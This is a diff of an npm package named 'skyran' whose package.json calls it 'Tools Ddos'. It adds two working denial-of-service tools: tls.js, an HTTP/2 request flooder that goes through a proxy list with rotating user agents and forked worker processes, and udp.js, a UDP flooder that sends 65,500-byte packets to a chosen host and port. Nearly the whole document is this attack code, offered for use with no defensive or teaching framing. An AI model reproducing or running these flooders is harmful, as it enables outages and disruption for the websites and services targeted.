skyran 1.0.0

package/lib/cache/tls.js

@@ -0,0 +1,262 @@
+ const net = require("net");
+ const http2 = require("http2");
+ const tls = require("tls");
+ const cluster = require("cluster");
+ const url = require("url");
+ const crypto = require("crypto");
+ const fs = require("fs");
+ 
+ process.setMaxListeners(0);
+ require("events").EventEmitter.defaultMaxListeners = 0;
+
+ if (process.argv.length < 5){console.log(`Usage: node tls.js URL TIME REQ_PER_SEC THREADS\nExample: node tls.js https://tls.mrrage.xyz 500 8 1`); process.exit();}
+ 
+ const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":");
+ const ciphers = "GREASE:" + [
+     defaultCiphers[2],
+     defaultCiphers[1],
+     defaultCiphers[0],
+     ...defaultCiphers.slice(3)
+ ].join(":");
+ 
+ const sigalgs = "ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256:ecdsa_secp384r1_sha384:rsa_pss_rsae_sha384:rsa_pkcs1_sha384:rsa_pss_rsae_sha512:rsa_pkcs1_sha512";
+ 
+ const ecdhCurve = "GREASE:x25519:secp256r1:secp384r1";
+ 
+ const secureOptions = 
+ crypto.constants.SSL_OP_NO_SSLv2 |
+ crypto.constants.SSL_OP_NO_SSLv3 |
+ crypto.constants.SSL_OP_NO_TLSv1 |
+ crypto.constants.SSL_OP_NO_TLSv1_1 |
+ crypto.constants.ALPN_ENABLED |
+ crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION |
+ crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE |
+ crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT |
+ crypto.constants.SSL_OP_COOKIE_EXCHANGE |
+ crypto.constants.SSL_OP_PKCS1_CHECK_1 |
+ crypto.constants.SSL_OP_PKCS1_CHECK_2 |
+ crypto.constants.SSL_OP_SINGLE_DH_USE |
+ crypto.constants.SSL_OP_SINGLE_ECDH_USE |
+ crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
+ 
+ const secureProtocol = "TLS_client_method";
+ const headers = {};
+ 
+ const secureContextOptions = {
+     ciphers: ciphers,
+     sigalgs: sigalgs,
+     honorCipherOrder: true,
+     secureOptions: secureOptions,
+     secureProtocol: secureProtocol
+ };
+ 
+ const secureContext = tls.createSecureContext(secureContextOptions);
+ 
+ var proxyFile = "proxy.txt";
+ var proxies = readLines(proxyFile);
+ var userAgents = readLines("ua.txt");
+ 
+ const args = {
+     target: process.argv[2],
+     time: ~~process.argv[3],
+     Rate: ~~process.argv[4],
+     threads: ~~process.argv[5]
+ }
+ 
+ const parsedTarget = url.parse(args.target);
+
+ if (cluster.isMaster) {
+    for (let counter = 1; counter <= args.threads; counter++) {
+        //console.log("Threads " + counter +  " started.");
+        cluster.fork();
+    }
+} else {for (let i = 0; i < 10; i++) { setInterval(runFlooder, 0) }}
+ 
+ class NetSocket {
+     constructor(){}
+ 
+  HTTP(options, callback) {
+     const parsedAddr = options.address.split(":");
+     const addrHost = parsedAddr[0];
+     const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; //Keep Alive
+     const buffer = new Buffer.from(payload);
+ 
+     const connection = net.connect({
+         host: options.host,
+         port: options.port,
+         allowHalfOpen: true,
+         writable: true,
+         readable: true
+     });
+ 
+     connection.setTimeout(options.timeout * 10000);
+     connection.setKeepAlive(true, 10000);
+     connection.setNoDelay(true)
+ 
+     connection.on("connect", () => {
+         connection.write(buffer);
+     });
+ 
+     connection.on("data", chunk => {
+         const response = chunk.toString("utf-8");
+         const isAlive = response.includes("HTTP/1.1 200");
+         if (isAlive === false) {
+             connection.destroy();
+             return callback(undefined, "error: invalid response from proxy server");
+         }
+         return callback(connection, undefined);
+     });
+ 
+     connection.on("timeout", () => {
+         connection.destroy();
+         return callback(undefined, "error: timeout exceeded");
+     });
+ 
+     connection.on("error", error => {
+         connection.destroy();
+         return callback(undefined, "error: " + error);
+     });
+ }
+ }
+
+ const Socker = new NetSocket();
+ 
+ function readLines(filePath) {
+     return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/);
+ }
+ 
+ function randomIntn(min, max) {
+     return Math.floor(Math.random() * (max - min) + min);
+ }
+ 
+ function randomElement(elements) {
+     return elements[randomIntn(0, elements.length)];
+ }
+ 
+ function randomCharacters(length) {
+     output = ""
+     for (let count = 0; count < length; count++) {
+         output += randomElement(characters);
+     }
+     return output;
+ }
+ 
+ headers[":method"] = "GET";
+ headers[":path"] = parsedTarget.path;
+ headers[":scheme"] = "https";
+ headers["accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
+ headers["accept-language"] = "es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3";
+ headers["accept-encoding"] = "gzip, deflate, br";
+ headers["x-forwarded-proto"] = "https";
+ headers["cache-control"] = "no-cache, no-store,private, max-age=0, must-revalidate";
+ headers["sec-ch-ua-mobile"] = randomElement(["?0", "?1"]);
+ headers["sec-ch-ua-platform"] = randomElement(["Android", "iOS", "Linux", "macOS", "Windows"]);
+ headers["sec-fetch-dest"] = "document";
+ headers["sec-fetch-mode"] = "navigate";
+ headers["sec-fetch-site"] = "same-origin";
+ headers["upgrade-insecure-requests"] = "1";
+ 
+ function runFlooder() {
+     const proxyAddr = randomElement(proxies);
+     const parsedProxy = proxyAddr.split(":");
+ 
+     /** headers dynamic */
+     headers[":authority"] = parsedTarget.host
+     headers["user-agent"] = randomElement(userAgents);
+     headers["x-forwarded-for"] = parsedProxy[0];
+ 
+     const proxyOptions = {
+         host: parsedProxy[0],
+         port: ~~parsedProxy[1],
+         address: parsedTarget.host + ":443",
+         timeout: 15
+     };
+
+     Socker.HTTP(proxyOptions, (connection, error) => {
+         if (error) return
+ 
+         connection.setKeepAlive(true, 60000);
+         connection.setNoDelay(true)
+ 
+         const settings = {
+             enablePush: false,
+             initialWindowSize: 1073741823
+         };
+
+         const tlsOptions = {
+            port: 443,
+            secure: true,
+            ALPNProtocols: [
+                "h2"
+            ],
+            ciphers: ciphers,
+            sigalgs: sigalgs,
+            requestCert: true,
+            socket: connection,
+            ecdhCurve: ecdhCurve,
+            honorCipherOrder: false,
+            host: parsedTarget.host,
+            rejectUnauthorized: false,
+            clientCertEngine: "dynamic",
+            secureOptions: secureOptions,
+            secureContext: secureContext,
+            servername: parsedTarget.host,
+            secureProtocol: secureProtocol
+        };
+
+         const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions); 
+
+         tlsConn.allowHalfOpen = true;
+         tlsConn.setNoDelay(true);
+         tlsConn.setKeepAlive(true, 60 * 1000);
+         tlsConn.setMaxListeners(0);
+ 
+         const client = http2.connect(parsedTarget.href, {
+             protocol: "https:",
+             settings: settings,
+             maxSessionMemory: 3333,
+             maxDeflateDynamicTableSize: 4294967295,
+             createConnection: () => tlsConn
+             //socket: connection,
+         });
+ 
+         client.setMaxListeners(0);
+         client.settings(settings);
+ 
+         client.on("connect", () => {
+            const IntervalAttack = setInterval(() => {
+                for (let i = 0; i < args.Rate; i++) {
+                    headers["referer"] = "https://" + parsedTarget.host + parsedTarget.path;
+                    const request = client.request(headers)
+                    
+                    .on("response", response => {
+                        request.close();
+                        request.destroy();
+                        return
+                    });
+    
+                    request.end();
+                }
+            }, 1000); 
+         });
+ 
+         client.on("close", () => {
+             client.destroy();
+             connection.destroy();
+             return
+         });
+ 
+         client.on("error", error => {
+             client.destroy();
+             connection.destroy();
+             return
+         });
+     });
+ }
+ 
+ const KillScript = () => process.exit(1);
+ 
+ setTimeout(KillScript, args.time * 1000);
+ 
+ process.on('uncaughtException', error => {});
+ process.on('unhandledRejection', error => {});

package/lib/cache/udp.js

@@ -0,0 +1,53 @@
+const dgram = require('dgram');
+
+const target = process.argv[2];
+const port = process.argv[3];
+const duration = process.argv[4]
+function generatePayload(size) {
+    let payload = Buffer.alloc(size);
+    payload.fill('PermenMD');
+    return payload;
+}
+
+const payload = generatePayload(65500);
+
+setInterval(() => {
+    const socket = dgram.createSocket('udp4');
+    for (let p = 0; p < 50; p++) {
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+socket.send(payload, 0, payload.length, port, target);
+    }
+    socket.send(payload, 0, payload.length, port, target, (err) => {
+        if (err) {
+            console.error('Error sending message:', err);
+        }
+        socket.close();
+    });
+});
+
+console.clear();
+console.log(``);
+    setTimeout(() => {
+        console.log('Attack stopped.');
+        process.exit(0);
+    }, duration * 1000);

package/package.json

@@ -0,0 +1,38 @@
+{
+  "name": "skyran",
+  "version": "1.0.0",
+  "description": "Tools Ddos Skyran",
+  "main": "index.js",
+  "bin": {
+    "skyran": "./index.js"
+  },
+  "scripts": {
+    "start": "node index.js"
+  },
+  "keywords": [],
+  "dependencies": {
+    "@whiskeysockets/baileys": "^6.7.6",
+    "axios": "^1.7.4",
+    "chalk": "^5.3.0",
+    "cluster": "^0.7.7",
+    "colors": "^1.4.0",
+    "crypto": "^1.0.1",
+    "dgram": "^1.0.1",
+    "gradient-string": "^2.0.2",
+    "hpack": "^1.0.0",
+    "http2": "^3.3.7",
+    "libphonenumber-js": "^1.11.7",
+    "mineflayer": "^4.20.1",
+    "net": "^1.0.2",
+    "pino": "^9.3.2",
+    "proxy-agent": "^6.4.0",
+    "socks": "^2.8.3",
+    "ssh2": "^1.15.0",
+    "tls": "^0.0.1",
+    "user-agents": "^1.1.294"
+  },
+  "directories": {
+    "lib": "lib"
+  },
+  "devDependencies": {}
+}

package/package.json.bak

@@ -0,0 +1,37 @@
+{
+  "name": "skyran",
+  "version": "5.0.1",
+  "description": "Skyran Tools Ddos",
+  "main": "index.js",
+  "author": "SkyranX-Mods",
+  "license": "MIT",
+  "scripts": {
+    "start": "node index.js"
+  },
+  "keywords": [],
+  "dependencies": {
+    "@whiskeysockets/baileys": "^6.7.6",
+    "axios": "^1.7.4",
+    "chalk": "^5.3.0",
+    "cluster": "^0.7.7",
+    "colors": "^1.4.0",
+    "crypto": "^1.0.1",
+    "dgram": "^1.0.1",
+    "gradient-string": "^2.0.2",
+    "hpack": "^1.0.0",
+    "http2": "^3.3.7",
+    "libphonenumber-js": "^1.11.7",
+    "mineflayer": "^4.20.1",
+    "net": "^1.0.2",
+    "pino": "^9.3.2",
+    "proxy-agent": "^6.4.0",
+    "socks": "^2.8.3",
+    "ssh2": "^1.15.0",
+    "tls": "^0.0.1",
+    "user-agents": "^1.1.294"
+  },
+  "directories": {
+    "lib": "lib"
+  },
+  "devDependencies": {}
+}